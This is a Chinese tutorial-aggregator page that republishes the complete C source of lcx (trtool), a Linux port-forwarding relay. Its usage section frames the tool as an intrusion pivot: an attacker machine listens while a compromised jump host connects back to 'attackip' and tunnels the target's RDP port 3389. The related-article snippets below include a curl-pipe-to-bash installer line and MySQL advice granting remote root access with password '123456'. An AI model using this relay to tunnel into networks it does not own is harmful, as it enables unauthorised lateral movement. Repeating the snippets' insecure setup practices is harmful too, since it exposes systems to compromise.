lcx端口转发 linux版

内容导读

互联网集市收集整理的这篇技术教程文章主要介绍了lcx端口转发 linux版，小编现在分享给大家，供广大互联网技能从业者学习和参考。文章包含12750字，纯文字阅读大概需要19分钟。

内容图文

一、端口转发使用

1、攻击机上执行以下命令

./lcx -p1 2222 -p2 3389 -m 2

在本地监听3389端口，并将发送到本机3389端口的数据传递到本机2222端口

2、跳板机上执行以下命令

./lcx -h1 attackip -p1 2222 -h2 dstip -p2 3389 -m 3

与攻击机建立连接，并将来自攻击机2222端口的数据全部转发到目标机端口的3389 端口

3、以上连接建立完成后，就可以通过连接攻击机的3389端口，进行访问目标机的3389端口

二、代码

/* Socket data transport tool
* by bkbll(bkbll@cnhonker.net)
* [bkbll@mobile socket]$ uname -a
* Linux mobile 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 i386 GNU/Linux
* [bkbll@mobile socket]$ gcc -o trtool trtool.c
* [bkbll@mobile socket]$ ./trtool
* Socket data transport tool
* by bkbll(bkbll@cnhonker.net)
* Usage:./trtool -m method [-h1 host1] -p1 port1 [-h2 host2] -p2 port2 [-v] [-log filename]
* -v: version
* -h1: host1
* -h2: host2
* -p1: port1
* -p2: port2
* -log: log the data
* -m: the action method for this tool
* 1: listen on PORT1 and connect to HOST2:PORT2
* 2: listen on PORT1 and PORT2
* 3: connect to HOST1:PORT1 and HOST2:PORT2
*/
#include <sys/time.h>
#include <signal.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <string.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
#include <netdb.h>
 
#define VERSION "2.2"
#define TIMEOUT 300
#define max(a,b) (a)>(b)?(a):(b)
#define MAXSIZE 10240
#define HOSTLEN 40
#define CONNECT_NUMBER 5
 
/* define function here */
void usage(char *s);
void transdata(int fd1,int fd2);
void closeallfd(int);
void makelog(char *buffer,int length);
int testifisvalue(char *str);
int bind2conn(int port1,char *host,int port2);
int bind2bind(int port1,int port2);
int conn2conn(char *host1,int port1,char *host2,int port2);
int create_socket();
int create_serv(int sockfd,int port);
int client_connect(int sockfd,char* server,int port);
 
/* define GLOBAL varible here */
extern int errno;
FILE *fp;
 
int main(int argc,char **argv)
{
    char **p;
    char host1[HOSTLEN],host2[HOSTLEN];
    int port1=0,port2=0,method=0;
    int length;
    char *logfile=NULL;
 
    p=argv;
    memset(host1,0,HOSTLEN);
    memset(host2,0,HOSTLEN);
    while(*p)
    {
        if(strcmp(*p,"-v")==0)
        {
            printf("Socket data transport tool.\r\nVersion:%s\r\n",VERSION);
            p++;
            continue;
        }
        if(strcmp(*p,"-h1")==0)
        {
            if(testifisvalue(*(p+1))==1)
            {
                length=(strlen(*(p+1))>HOSTLEN-1)?HOSTLEN-1:strlen(*(p+1));
                strncpy(host1,*(++p),length);
            }
            p++;
            continue;
        }
        if(strcmp(*p,"-h2")==0)
        {
            if(testifisvalue(*(p+1))==1)
            {
                length=(strlen(*(p+1))>HOSTLEN-1)?HOSTLEN-1:strlen(*(p+1));
                strncpy(host2,*(++p),length);
            }
            p++;
            continue;
        }
        if(strcmp(*p,"-p1")==0)
        {
            if(testifisvalue(*(p+1))==1)
                port1=atoi(*(++p));
            p++;
            continue;
        }
        if(strcmp(*p,"-p2")==0)
        {
            if(testifisvalue(*(p+1))==1)
                port2=atoi(*(++p));
            p++;
            continue;
        }
        if(strcmp(*p,"-m")==0)
        {
            if(testifisvalue(*(p+1))==1)
                method=atoi(*(++p));
            p++;
            continue;
        }
        if(strcmp(*p,"-log")==0)
        {
            if(testifisvalue(*(p+1))==1)
                logfile=*(++p);
            else
            {
                printf("[ERROR]:must supply logfile name\r\n");
                exit(0);
            }
            p++;
            continue;
        }
        p++;
    }
    signal(SIGCLD,SIG_IGN);
    signal(SIGINT,&closeallfd);
    if(logfile !=NULL)
    {
        fp=fopen(logfile,"a");
        if(fp == NULL )
        {
            perror("open logfile");
            exit(0);
        }
    }
    makelog("######################## start ################\r\n",49);
    switch(method)
    {
    case 0:
        usage(argv[0]);
        break;
    case 1:
        if((port1==0) || (port2==0))
        {
            printf("[ERROR]:must supply PORT1 and PORT2.\r\n");
            break;
        }
        if(strlen(host2)==0)
        {
            printf("[ERROR]:must supply HOST2.\r\n");
            break;
        }
        bind2conn(port1,host2,port2);
        break;
    case 2:
        if((port1==0) || (port2==0))
        {
            printf("[ERROR]:must supply PORT1 and PORT2.\r\n");
            break;
        }
        bind2bind(port1,port2);
        break;
    case 3:
        if((port1==0) || (port2==0))
        {
            printf("[ERROR]:must supply PORT1 and PORT2.\r\n");
            break;
        }
        if(strlen(host1)==0)
        {
            printf("[ERROR]:must supply HOST1.\r\n");
            break;
        }
        if(strlen(host2)==0)
        {
            printf("[ERROR]:must supply HOST2.\r\n");
            break;
        }
        conn2conn(host1,port1,host2,port2);
        break;
    default:
        usage(argv[0]);
    }
    closeallfd(0);
}
 
int testifisvalue(char *str)
{
    if(str == NULL ) return(0);
    if(str[0]=='-') return(0);
    return(1);
}
 
void usage(char *s)
{
    printf("Socket data transport tool\r\n");
    printf("by bkbll(bkbll@cnhonker.net)\r\n\r\n");
    printf("Usage:%s -m method [-h1 host1] -p1 port1 [-h2 host2] -p2 port2 [-v] [-log filename]\r\n",s);
    printf(" -v: version\r\n");
    printf(" -h1: host1\r\n");
    printf(" -h2: host2\r\n");
    printf(" -p1: port1\r\n");
    printf(" -p2: port2\r\n");
    printf(" -log: log the data\r\n");
    printf(" -m: the action method for this tool\r\n");
    printf(" 1: listen on PORT1 and connect to HOST2:PORT2\r\n");
    printf(" 2: listen on PORT1 and PORT2\r\n");
    printf(" 3: connect to HOST1:PORT1 and HOST2:PORT2\r\n");
 
    closeallfd(0);
}
 
int bind2conn(int port1,char *host,int port2)
{
    int sockfd,sockfd1,sockfd2;
    struct sockaddr_in remote;
    int size;
    int pid;
    char buffer[1024];
 
    memset(buffer,0,1024);
    if((sockfd=create_socket())==0) exit(0);
    if(create_serv(sockfd,port1)==0)
    {
        close(sockfd1);
        exit(0);
    }
    size=sizeof(struct sockaddr);
    while(1)
    {
        printf("waiting for response.........\n");
        if((sockfd1=accept(sockfd,(struct sockaddr *)&remote,(socklen_t *)&size))<0)
        {
            perror("accept error\n");
            continue;
        }
        printf("accept a client from %s:%d\n",inet_ntoa(remote.sin_addr),ntohs(remote.sin_port));
        if((sockfd2=create_socket())==0)
        {
            close(sockfd1);
            continue;
        }
        printf("make a connection to %s:%d....",host,port2);
        fflush(stdout);
        if(client_connect(sockfd2,host,port2)==0)
        {
            close(sockfd2);
            sprintf(buffer,"[SERVER]connection to %s:%d error\r\n",host,port2);
            write(sockfd1,buffer,strlen(buffer));
            memset(buffer,0,1024);
            close(sockfd1);
            continue;
        }
        printf("ok\r\n");
        pid=fork();
        if(pid==0) transdata(sockfd1,sockfd2);
        // sleep(2);
        close(sockfd1);
        close(sockfd2);
    }
 
}
 
int bind2bind(int port1,int port2)
{
    int fd1,fd2,sockfd1,sockfd2;
    struct sockaddr_in client1,client2;
    int size1,size2;
    int pid;
 
    if((fd1=create_socket())==0) exit(0);
    if((fd2=create_socket())==0) exit(0);
    printf("binding port %d......",port1);
    fflush(stdout);
    if(create_serv(fd1,port1)==0)
    {
        close(fd1);
        exit(0);
    }
    printf("ok\r\n");
    printf("binding port %d......",port2);
    fflush(stdout);
    if(create_serv(fd2,port2)==0)
    {
        close(fd2);
        exit(0);
    }
    printf("ok\r\n");
    size1=size2=sizeof(struct sockaddr);
    while(1)
    {
        printf("waiting for response on port %d.........\n",port1);
        if((sockfd1=accept(fd1,(struct sockaddr *)&client1,(socklen_t *)&size1))<0)
        {
            perror("accept1 error");
            continue;
        }
        printf("accept a client on port %d from %s,waiting another on port %d....\n",port1,inet_ntoa(client1.sin_addr),port2);
        if((sockfd2=accept(fd2,(struct sockaddr *)&client2,(socklen_t *)&size2))<0)
        {
            perror("accept2 error");
            close(sockfd1);
            continue;
        }
        printf("accept a client on port %d from %s\n",port2,inet_ntoa(client2.sin_addr));
        pid=fork();
        if(pid==0) transdata(sockfd1,sockfd2);
        //sleep(2);
        close(sockfd1);
        close(sockfd2);
    }
}
 
int conn2conn(char *host1,int port1,char *host2,int port2)
{
    int sockfd1,sockfd2;
    int pid;
    fd_set fds;
    int l;
    int result;
    char buffer[MAXSIZE];
 
    while(1)
    {
        if((sockfd1=create_socket())==0) exit(0);
        if((sockfd2=create_socket())==0) exit(0);
        printf("[+] make a connection to %s:%d....\r\n",host1,port1);
        fflush(stdout);
        if(client_connect(sockfd1,host1,port1)==0)
        {
            printf("[-] connect to host1 failed\r\n");
            close(sockfd1);
            close(sockfd2);
            continue;
        }
        printf("[+] host1 connected\r\n");
        l=0;
        memset(buffer,0,MAXSIZE);
        //fixed by Twi1ight 2012.09.12
        while(1)
        {
            FD_ZERO(&fds);
            FD_SET(sockfd1, &fds);
            if (select(sockfd1+1, &fds, NULL, NULL, NULL) < 0 ) 
            {
                if (errno == EINTR) continue;
                break;
            }
 
            if (FD_ISSET(sockfd1, &fds)) 
            {
                l=read(sockfd1, buffer, MAXSIZE);
                break;
            }
            sleep(5);
        }
        if(l<=0) 
        { 
            printf("[-] there is a error...Create a new connection.\r\n");
            continue;
        }
        while(1)
        {
            printf("[+] make a connection to %s:%d....\r\n",host2,port2);
            fflush(stdout);
            if(client_connect(sockfd2,host2,port2)==0)
            {
                printf("[-] connect to host2 failed\r\n");
                close(sockfd1);
                close(sockfd2);
                continue;
            }
            if(write(sockfd2,buffer,l) < 0)
            { 
                printf("[-] send failed.\r\n");
                continue;
            }
            l=0;
            memset(buffer,0,MAXSIZE);
            break;
        }
        printf("[+] all hosts connected!\r\n");
        pid=fork();
        if(pid==0) transdata(sockfd1,sockfd2);
        //sleep(2);
        close(sockfd1);
        close(sockfd2);
    }
}
 
void transdata(int fd1,int fd2)
{
    struct timeval timeset;
    fd_set readfd,writefd;
    int result,i=0;
    char read_in1[MAXSIZE],send_out1[MAXSIZE];
    char read_in2[MAXSIZE],send_out2[MAXSIZE];
    int read1=0,totalread1=0,send1=0;
    int read2=0,totalread2=0,send2=0;
    int sendcount1,sendcount2;
    int maxfd;
    struct sockaddr_in client1,client2;
    int structsize1,structsize2;
    char host1[20],host2[20];
    int port1=0,port2=0;
    char tmpbuf1[100],tmpbuf2[100];
 
    memset(host1,0,20);
    memset(host2,0,20);
    memset(tmpbuf1,0,100);
    memset(tmpbuf2,0,100);
    if(fp!=NULL)
    {
        structsize1=sizeof(struct sockaddr);
        structsize2=sizeof(struct sockaddr);
        if(getpeername(fd1,(struct sockaddr *)&client1,(socklen_t *)&structsize1)<0)
        {
            strcpy(host1,"fd1");
        }
        else
        {
            printf("got,ip:%s,port:%d\r\n",inet_ntoa(client1.sin_addr),ntohs(client1.sin_port));
            strcpy(host1,inet_ntoa(client1.sin_addr));
            port1=ntohs(client1.sin_port);
        }
        if(getpeername(fd2,(struct sockaddr *)&client2,(socklen_t *)&structsize2)<0)
        {
            strcpy(host2,"fd2");
        }
        else
        {
            printf("got,ip:%s,port:%d\r\n",inet_ntoa(client2.sin_addr),ntohs(client2.sin_port));
            strcpy(host2,inet_ntoa(client2.sin_addr));
            port2=ntohs(client2.sin_port);
        }
        sprintf(tmpbuf1,"\r\n########### read from %s:%d ####################\r\n",host1,port1);
        sprintf(tmpbuf2,"\r\n########### reply from %s:%d ####################\r\n",host2,port2);
    }
 
    maxfd=max(fd1,fd2)+1;
    memset(read_in1,0,MAXSIZE);
    memset(read_in2,0,MAXSIZE);
    memset(send_out1,0,MAXSIZE);
    memset(send_out2,0,MAXSIZE);
 
    timeset.tv_sec=TIMEOUT;
    timeset.tv_usec=0;
    while(1)
    {
        FD_ZERO(&readfd);
        FD_ZERO(&writefd);
 
        FD_SET(fd1,&readfd);
        FD_SET(fd1,&writefd);
        FD_SET(fd2,&writefd);
        FD_SET(fd2,&readfd);
 
        result=select(maxfd,&readfd,&writefd,NULL,&timeset);
        if((result<0) && (errno!=EINTR))
        {
            perror("select error");
            break;
        }
        else if(result==0)
        {
            printf("time out\n");
            break;
        }
        if(FD_ISSET(fd1,&readfd))
        {
            /* 不能超过MAXSIZE-totalread1,不然send_out1会溢出 */
            if(totalread1<MAXSIZE)
            {
                read1=read(fd1,read_in1,MAXSIZE-totalread1);
                if(read1==0) break;
                if((read1<0) && (errno!=EINTR))
                {
                    perror("read data error");
                    break;
                }
                memcpy(send_out1+totalread1,read_in1,read1);
                makelog(tmpbuf1,strlen(tmpbuf1));
                makelog(read_in1,read1);
                totalread1+=read1;
                memset(read_in1,0,MAXSIZE);
            }
        }
        if(FD_ISSET(fd2,&writefd))
        {
            int err=0;
            sendcount1=0;
            while(totalread1>0)
            {
                send1=write(fd2,send_out1+sendcount1,totalread1);
                if(send1==0)break;
                if((send1<0) && (errno!=EINTR))
                {
                    perror("unknow error");
                    err=1;
                    break;
                }
                if((send1<0) && (errno==ENOSPC)) break;
                sendcount1+=send1;
                totalread1-=send1;
            }
            if(err==1) break;
            if((totalread1>0) && (sendcount1>0))
            {
                /* 移动未发送完的数据到开始 */
                memcpy(send_out1,send_out1+sendcount1,totalread1);
                memset(send_out1+totalread1,0,MAXSIZE-totalread1);
            }
            else
                memset(send_out1,0,MAXSIZE);
        }
        if(FD_ISSET(fd2,&readfd))
        {
 
            if(totalread2<MAXSIZE)
            {
                read2=read(fd2,read_in2,MAXSIZE-totalread2);
                if(read2==0)break;
                if((read2<0) && (errno!=EINTR))
                {
                    perror("read data error");
                    break;
                }
                memcpy(send_out2+totalread2,read_in2,read2);
                makelog(tmpbuf2,strlen(tmpbuf2));
                makelog(read_in2,read2);
                totalread2+=read2;
                memset(read_in2,0,MAXSIZE);
            }
        }
        if(FD_ISSET(fd1,&writefd))
        {
            int err2=0;
            sendcount2=0;
            while(totalread2>0)
            {
                send2=write(fd1,send_out2+sendcount2,totalread2);
                if(send2==0)break;
                if((send2<0) && (errno!=EINTR))
                {
                    perror("unknow error");
                    err2=1;
                    break;
                }
                if((send2<0) && (errno==ENOSPC)) break;
                sendcount2+=send2;
                totalread2-=send2;
            }
            if(err2==1) break;
            if((totalread2>0) && (sendcount2 > 0))
            {
                /* 移动未发送完的数据到开始 */
                memcpy(send_out2,send_out2+sendcount2,totalread2);
                memset(send_out2+totalread2,0,MAXSIZE-totalread2);
            }
            else
                memset(send_out2,0,MAXSIZE);
        }
    }
 
    close(fd1);
    close(fd2);
    printf("ok,I closed the two fd\r\n");
    //exit(0);
}
 
void closeallfd(int n)
{
    int i;
    printf("Let me exit...");
    fflush(stdout);
    for(i=3;i<256;i++)
    {
        close(i);
    }
    if(fp != NULL)
    {
        fprintf(fp,"exited\r\n");
        fclose(fp);
    }
    printf("all overd\r\n");
    exit(0);
}
void makelog(char *buffer,int length)
{
    if(fp !=NULL)
    {
        //fprintf(fp,"%s",buffer);
        write(fileno(fp),buffer,length);
        fflush(fp);
    }
}
 
int create_socket()
{
    int sockfd;
 
    sockfd=socket(AF_INET,SOCK_STREAM,0);
    if(sockfd<0)
    {
        perror("create socket error");
        return(0);
    }
    return(sockfd);
}
 
int create_serv(int sockfd,int port)
{
    struct sockaddr_in srvaddr;
    int on=1;
 
    bzero(&srvaddr,sizeof(struct sockaddr));
    srvaddr.sin_port=htons(port);
    srvaddr.sin_family=AF_INET;
    srvaddr.sin_addr.s_addr=htonl(INADDR_ANY);
 
    setsockopt(sockfd,SOL_SOCKET,SO_REUSEADDR,&on,sizeof(on)); //so I can rebind the port
    if(bind(sockfd,(struct sockaddr *)&srvaddr,sizeof(struct sockaddr))<0)
    {
        perror("error");
        return(0);
    }
    if(listen(sockfd,CONNECT_NUMBER)<0)
    {
        perror("listen error\n");
        return(0);
    }
    return(1);
}
 
int client_connect(int sockfd,char* server,int port)
{
    struct sockaddr_in cliaddr;
    struct hostent *host;
 
    if(!(host=gethostbyname(server)))
    {
        printf("gethostbyname(%s) error:%s\n",server,strerror(errno));
        return(0);
    }
 
    bzero(&cliaddr,sizeof(struct sockaddr));
    cliaddr.sin_family=AF_INET;
    cliaddr.sin_port=htons(port);
    cliaddr.sin_addr=*((struct in_addr *)host->h_addr);
 
    if(connect(sockfd,(struct sockaddr *)&cliaddr,sizeof(struct sockaddr))<0)
    {
        perror("[-] error");
        return(0);
    }
    return(1);
}

内容总结

以上是互联网集市为您收集整理的lcx端口转发 linux版全部内容，希望文章能够帮你解决lcx端口转发 linux版所遇到的程序开发问题。如果觉得互联网集市技术教程内容还不错，欢迎将互联网集市网站推荐给程序员好友。

内容备注

版权声明：本文内容由互联网用户自发贡献，该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容，请发送邮件至 gblab@vip.qq.com 举报，一经查实，本站将立刻删除。

内容手机端

扫描二维码推送至手机访问。

本文链接：https://qyyshop.com/info/981544.html

来源：【匿名】

【上一篇】修改linux的hostname (修改linux系统的IP和hostname)【下一篇】Linux下安装GD

更多 ►

【lcx端口转发 linux版】教程文章相关的互联网学习教程文章

首先请大家允许吐点口水，本来为了省点事，参照了菜鸟教程mysql的安装步骤那叫一个坑爹啊，好不容易安找教程上的所有步骤安装完后，发现竟然缺少一些重要文件如（pid），在网上找了好久，发现很多人都遇到了类似的问题，折腾了好久也没安装成功，偶然在网上看到有人用rpm安装一下就成功了，于是抱着半信半疑的态度，在官网上下载了mysql rpm包，没想到真的成功了，这里推荐给大家安装。本人在安装mysql linux时使用的就是rpm源码安...

Linux版Matlab R2015b的bug——脚本运行的陷阱（未解决）【代码】

0 系统+软件版本系统：CentOS 6.7 x64, 内核 2.6.32-573.el6.x86_64软件：Ｍatlab R2015b（包括威锋网和东北大学ipv6下载的资源，都测试过）1 bug描述1.1 未知的“陷阱”首先，这个程序在Matlab R2013a中可以完美运行，这个“陷阱“在是新安装的R2015b上才出现的。说它是“陷阱“，是因为脚本文件涉及到大量的数据处理，比如一个几百次的循环，它可能在执行某一句的时候就失去响应了，可能是一个循环，也可能是单句，仿佛掉进了一个...

solr 服务器搭建（Linux版）

1.下载访问linux工具 securcrt 链接：https://pan.baidu.com/s/1zTwzmnzUmnwbKUCNHCLN1g 密码：kpyg2.下载所需的 jdk solr tomcat 链接：https://pan.baidu.com/s/1j32EHEh2peCntzLWBP54Ww 密码：mg4a3.使用securcrt 进入 linux 4.上传 jdk solr tomcat 到服务器根目录5.创建目录 sudo mkdir /usr/java6.移动jdk 到java 目录 sudo mv jdk-7u55-linux-i586.tar.gz /usr/java7.解压 jdk sudo tar -zxvf jdk-7u55-li...

Linux版 MySql57安装教程【代码】【图】

这里介绍的是CentOS7.4安装mysql57的教程创建MySQL文件包使用mkdir -p 文件夹路径创建以下目录：文件夹路径用途/usr/local/mysqlMySQL安装路径/data/mysql数据库保存路径/data/log/mysql日志保存路径下一步下载MySQL并上传到服务器中（或者直接curl）在MySQL官网：http://dev.mysql.com/downloads/mysql 中点击选择自己的Linux版本然后下载32/64位的软件，这边我下载的是第二个mysql-5.7.34-linux-glibc2.12-x86_64.tar.gz使用X...

PHP环境安装-phpstudyforlinux版

下载地址：下载版：http://lamp.phpstudy.net/phpstudy.bin 完整版：http://lamp.phpstudy.net/phpstudy-all.bin PHP环境支持：解释：Apache/Nginx/Tengine/Lighttpd PHP版本：支持php5.2/5.3/5.4/5.5切换操作系统：已经在centos-6.5,debian-7.4.,ubuntu-13.10测试成功安装方法：下载好 .bin 文件 cd到下载目录 chmod +x ./phpstudy.bin 给权限然后在终端中运行 ./phpstudy.bin 等待...

在Ubuntu 16.04上利用Jexus+.Net Core+Linux版SQL Server部署ZKEACMS.Core

百度传课视频地址：https://chuanke.baidu.com/v5849090-223278-1498090.html 一、SQL Server on Linux的安装官方文档：https://docs.microsoft.com/zh-cn/sql/linux/sql-server-linux-setup-ubuntu二、.Net Core的安装官方文档：https://www.microsoft.com/net/core#linuxubuntu三、Jexus的安装1、安装mono官方文档：http://www.mono-project.com/download/#download-lin-ubuntu2、安装Jexus官方文档：https://www.jexus.org四、...

mysql linux版安装【图】

MySql的Linux版安装【图】

1，官网下载MySql的Linux版：下载地址：http://dev.mysql.com//downloads/mysql/ 2、上传到Linux服务器，建议放在/opt/目录下3、检查当前系统是否安装过Mysql命令：rpm -qa | grep -i mysql没有返回任何信息，说明没有安装过。如果又返回消息，说明已经安装过。 4、安装mysql服务端命令：rpm -ivh MySQL-server-xxx-xxx(此处为自己下载的rpm包)　 5、安装MySql的client端命令：rpm -ivh MySQL-client-xxx-xxx(此处为自己下载的rpm包...

大数据技术之_29_MySQL 高級面试重点串讲_02_Mysql 简介+Linux 版的安装+逻辑架构介绍+性能优化+性能分析+查询截取分析+分区分库分表简介+锁机制+主从复制

1.1 概述1.2 高级 MySQL第2章 Mysql Linux 版的安装2.1 下载地址2.2 检查当前系统是否安装过 mysql2.3 修改 Mysql 配置文件位置2.4 修改字符集和数据存储路径2.5 MySQL 的安装位置说明2.6 Mysql 配置文件说明2.7 Mysql 的数据存放目录第3章 Mysql 逻辑架构介绍3.1 总体概览3.2 查询说明第4章 Mysql 性能优化4.1 影响 mysql 的性能因素4.2 查询与索引优化分析4.2.1 性能下降SQL慢的原因4.2.2 常见通用的 Join 查询4.3 mysql 索引结构...

linux 版mysql开启远程登陆

1 登陆数据库 mysql -u root -p 2 use mysql; 3 select User,authentication_string,Host from user (查询用户表) 4 GRANT ALL PRIVILEGES ON *.* TO ‘root‘@‘%‘ IDENTIFIED BY ‘123456‘ 5 flush privileges; (实时生效)6 select User,authentication_string,Host from user （再次查看用户表） linux 版mysql开启远程登陆标签：auth ati from root ESS rom cat ant sql 本文系统来源：htt...

Mysql5.7.14linux版密码忘记完美解决办法

在/etc/my.conf文件中[mysqld] 下面最后增加一行：skip-grant-tables 记住是[mysqld]下最后，不要增加到[mysqld_safe]下面保存之后，重启Mysql，在linux命令行直接执行：mysql回车 OK 修改密码：update mysql.user set password=password(root) where user=root结果报错：mysql> select host,user,password from user ; ERROR 1054 (42S22): Unknown column password in field list desc user;查看字段发现没有password字段，有au...

PostgreSQL修改配置文件实现远程访问(linux版)【代码】

linux版的postgresql默认无法直接远程访问其数据库，需要修改postgreSQL数据库配置来实现远程访问。具体操作如下：使用find / -name postgresql.conf找到 postgresql.conf 在最后添加用户参数： listen_address = ‘*’，注意不要被注释掉启用密码验证 #password_encryption = md5 修改为 password_encryption = md5修改pg_hba.conf文件的内容：可访问的用户ip段在文件末尾加入：host all all 0.0.0.0/0 md5重启postgreSQ...

linux版宝塔安装Redis【图】

1安装服务 2配置设置 3安装PHP扩展首先，我们来安装服务，进入管理面板--软件管理--运行环境--redis-点击安装，等待完成完成之后开始第二步，配置设置。这一步根据自己需要进行配置。注意安全问题哦我这里就改一下设置密码验证找到/www/server/redis/下面的文件redis.conf里面的requirepass foobared这行，将注释去掉foobared这个改为自己想设置的密码然后安装php扩展等待完成。完成后重启即可参考博客：https://w...

ubuntu安装vmware linux版vmware【代码】

ubuntu安装vmware linux版vmware 官网上注册一下把安装包下载下来建议安装vmware 15.xx vmware16.xx没有共享虚拟机安装 vmware ！！！！安装vmware需要使用带图形界面的终端如xterm vnc 等常用工具 xmanager（属于客户端，可以直接打开linux自带的xterm终端，有widows版的客户端） vnc 需要自行安装客户端和服务端使用xterm终端时要设置允许ssh登录root用户，并用root用户通过xmanager打开vmware进行配置下载安装包后添加执行...

Go 语言开发环境一键安装 | Linux版【代码】【图】

Go 语言开发环境一键安装 | Linux 版curl -SL https://gitea.com/skiy/golang-install/raw/branch/master/install.sh | bash /dev/stdin -v 1.13.4 最新版 Go 语言一键安装脚本。 ?支持 Linux / MacOS / FreeBSD 等系统?支持自定义版本?支持自定义GOPATH注意 ?由于 “raw.githubusercontent.com” 已被墙，故英文版本的地址已失效。?必须在 root 用户下执行脚本。?默认安装最新版本的 go version, GOPATH 目录为 ~/.go/path 安装在...

LINUX - 最热教程

Xrdp - 通过Windows的RDP连接Linux远程...VMware中Linux虚拟机挂载主机共享文件夹...Linux双网卡配置虚拟机下Linux安装好Nginx后，宿主机无...linux下安装postgresql并配置远程图形桌...Linux命令--exportfs命令详解 linux 终端printf打印显示乱码问题修正 Linux下Shell的for循环语句N种写法 Linux下创建nginx脚本-start、stop、re...SUSELinux安装MySQL

首页 / LINUX / lcx端口转发 linux版

lcx端口转发 linux版

内容导读

内容图文

内容总结

内容备注

内容手机端

【lcx端口转发 linux版】教程文章相关的互联网学习教程文章

mysql linux版安装【图】

Linux版Matlab R2015b的bug——脚本运行的陷阱（未解决）【代码】

solr 服务器搭建（Linux版）

Linux版 MySql57安装教程【代码】【图】

PHP环境安装-phpstudyforlinux版

在Ubuntu 16.04上利用Jexus+.Net Core+Linux版SQL Server部署ZKEACMS.Core

mysql linux版安装【图】

MySql的Linux版安装【图】

大数据技术之_29_MySQL 高級面试重点串讲_02_Mysql 简介+Linux 版的安装+逻辑架构介绍+性能优化+性能分析+查询截取分析+分区分库分表简介+锁机制+主从复制

linux 版mysql开启远程登陆

Mysql5.7.14linux版密码忘记完美解决办法

PostgreSQL修改配置文件实现远程访问(linux版)【代码】

linux版宝塔安装Redis【图】

ubuntu安装vmware linux版vmware【代码】

Go 语言开发环境一键安装 | Linux版【代码】【图】

LINUX - 相关标签

端口 - 相关标签

LINUX - 最新教程

LINUX - 最热教程